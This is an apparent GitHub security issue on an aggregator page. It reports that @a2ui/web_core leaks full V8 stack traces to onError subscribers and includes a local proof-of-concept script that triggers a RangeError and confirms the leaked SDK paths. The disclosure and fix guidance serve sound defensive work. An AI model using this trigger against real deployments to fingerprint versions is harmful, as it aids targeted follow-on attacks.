a2ui-project / a2ui-project/a2ui
[BUG]: Full V8 stack traces disclosed to `onError` subscribers via `dispatchExpressionError`
- Lenguaje dominante
- TypeScript
- Estrellas
- 16.4k
- Forks
- 1.3k
- Merge medio
- 2 d 13 h
- PR fusionados (30 d)
- 134
Descripción
# Full V8 stack traces disclosed to `onError` subscribers via `dispatchExpressionError`
Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-209 (Generation of Error Message Containing Sensitive Information)
## Summary
When a bound function call throws, `DataContext.dispatchExpressionError` handles `ZodError` and `A2uiExpressionError` specially, but for **any other** error it attaches `details: { stack: e.stack }` — the complete V8 stack, including internal source paths and line numbers of the SDK itself. `SurfaceModel.onError` (an EventEmitter) forwards these detail objects to every subscriber, so a server-driven binding that triggers a native error (e.g. `formatNumber` with `decimals: 200` raising `RangeError` from `Number.prototype.toFixed`) leaks the client's internal stack into whatever the host application logs or renders for surface errors.
## Affected code
- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `dispatchExpressionError` fallback branch sets `details: { stack: e.stack }` for non-Zod, non-`A2uiExpressionError` throws (npm dist `v0_9/rendering/data-context.js:267-274`)
- `SurfaceModel.onError` (EventEmitter) — dispatches `{…error, surfaceId}` to all subscribers
## Observed behavior (measured)
`formatNumber` bound with `decimals: 200` on a published-package surface; captured via `surface.onError`:
- 3 errors dispatched (initial resolution + re-fire after a data-model change)
- leaked stack frames include `at Number.toFixed ()` and the SDK-internal path of the reactivity layer (`…/web_core/…/signals.js:66`, batch write internals)
## Impact
An agent can, from a single message, cause internal file paths and SDK structure to be emitted through the application's error channel — version/structure fingerprinting that aids targeted follow-on attacks (e.g. choosing version-specific payloads). Information disclosure only.
## Suggested remediation
- Never attach `e.stack` to subscriber-visible error details; keep a generic message plus an error code, and log the stack through the host's configured logger at most.
## PoC
Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. Run `node poc_f21.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0. (The script asserts the leak by checking that an emitted `details.stack` contains the `web_core` package path.)
```js
// poc_f21.mjs — F-21: stack-trace disclosure via dispatchExpressionError.
// The fallback branch of dispatchExpressionError puts the raw e.stack of any
// non-Zod, non-A2uiExpressionError exception into details:{stack:e.stack} and
// emits it through surface.onError. A malicious server triggers a generic JS
// exception inside a catalog function: formatNumber with decimals=200 →
// Number.prototype.toFixed(200) throws RangeError INSIDE execute(), past the
// try/catch guarding getNumberFormat. Confirmed if the emitted error carries
// details.stack containing the web_core source path.
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { TextFieldApi, ColumnApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/n', value: 1 } },
{
version: 'v0.9',
updateComponents: {
surfaceId: 'poc',
components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{
id: 'tf', component: 'TextField', label: 'N', value: { path: '/n' },
checks: [{ condition: { call: 'formatNumber', args: { value: { path: '/n' }, decimals: 200 } }, message: 'bad' }],
},
],
},
},
]);
const surface = processor.model.getSurface('poc');
const errors = [];
const sub = surface.onError.subscribe(e => errors.push(e));
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const bsub = binder.subscribe(() => {});
await new Promise(r => setTimeout(r, 50));
surface.dataModel.set('/n', 2); // re-fire
await new Promise(r => setTimeout(r, 50));
bsub.unsubscribe(); binder.dispose(); sub.unsubscribe();
const stackLeak = errors.find(e => e.details && typeof e.details.stack === 'string' && e.details.stack.includes('web_core'));
const ok = !!stackLeak;
console.log(JSON.stringify({
finding: 'F-21-stack-trace-disclosure',
errors_dispatched: errors.length,
leaked_stack_path: stackLeak ? stackLeak.details.stack.split('\n')[1].trim().slice(0, 80) : null,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```
Guía de contribución
Línea de trabajo
Look at renderers/web_core/src/v0_9/rendering/data-context.ts, specifically the dispatchExpressionError method. The fix is to avoid attaching e.stack to error details for non-Zod, non-A2uiExpressionError exceptions. Test by running the provided PoC script to confirm the leak, then modify the error handling to log the stack internally only, not expose it to subscribers. Verify by ensuring the PoC no longer prints a stack trace containing web_core paths.
Escrito por el modelo de indexación a partir del texto del issue.
Evaluación
- Stack tecnológico
- javascript, node.js, typescript
- Área
- backend-api-design, security
- Tipo de issue
- Error
- Dificultad
- 3/5
- Tiempo estimado
- 1-2 días
- Estado de actividad
- Activo
- Claridad
- Bien especificado
- Aptitud para principiantes
- 55/100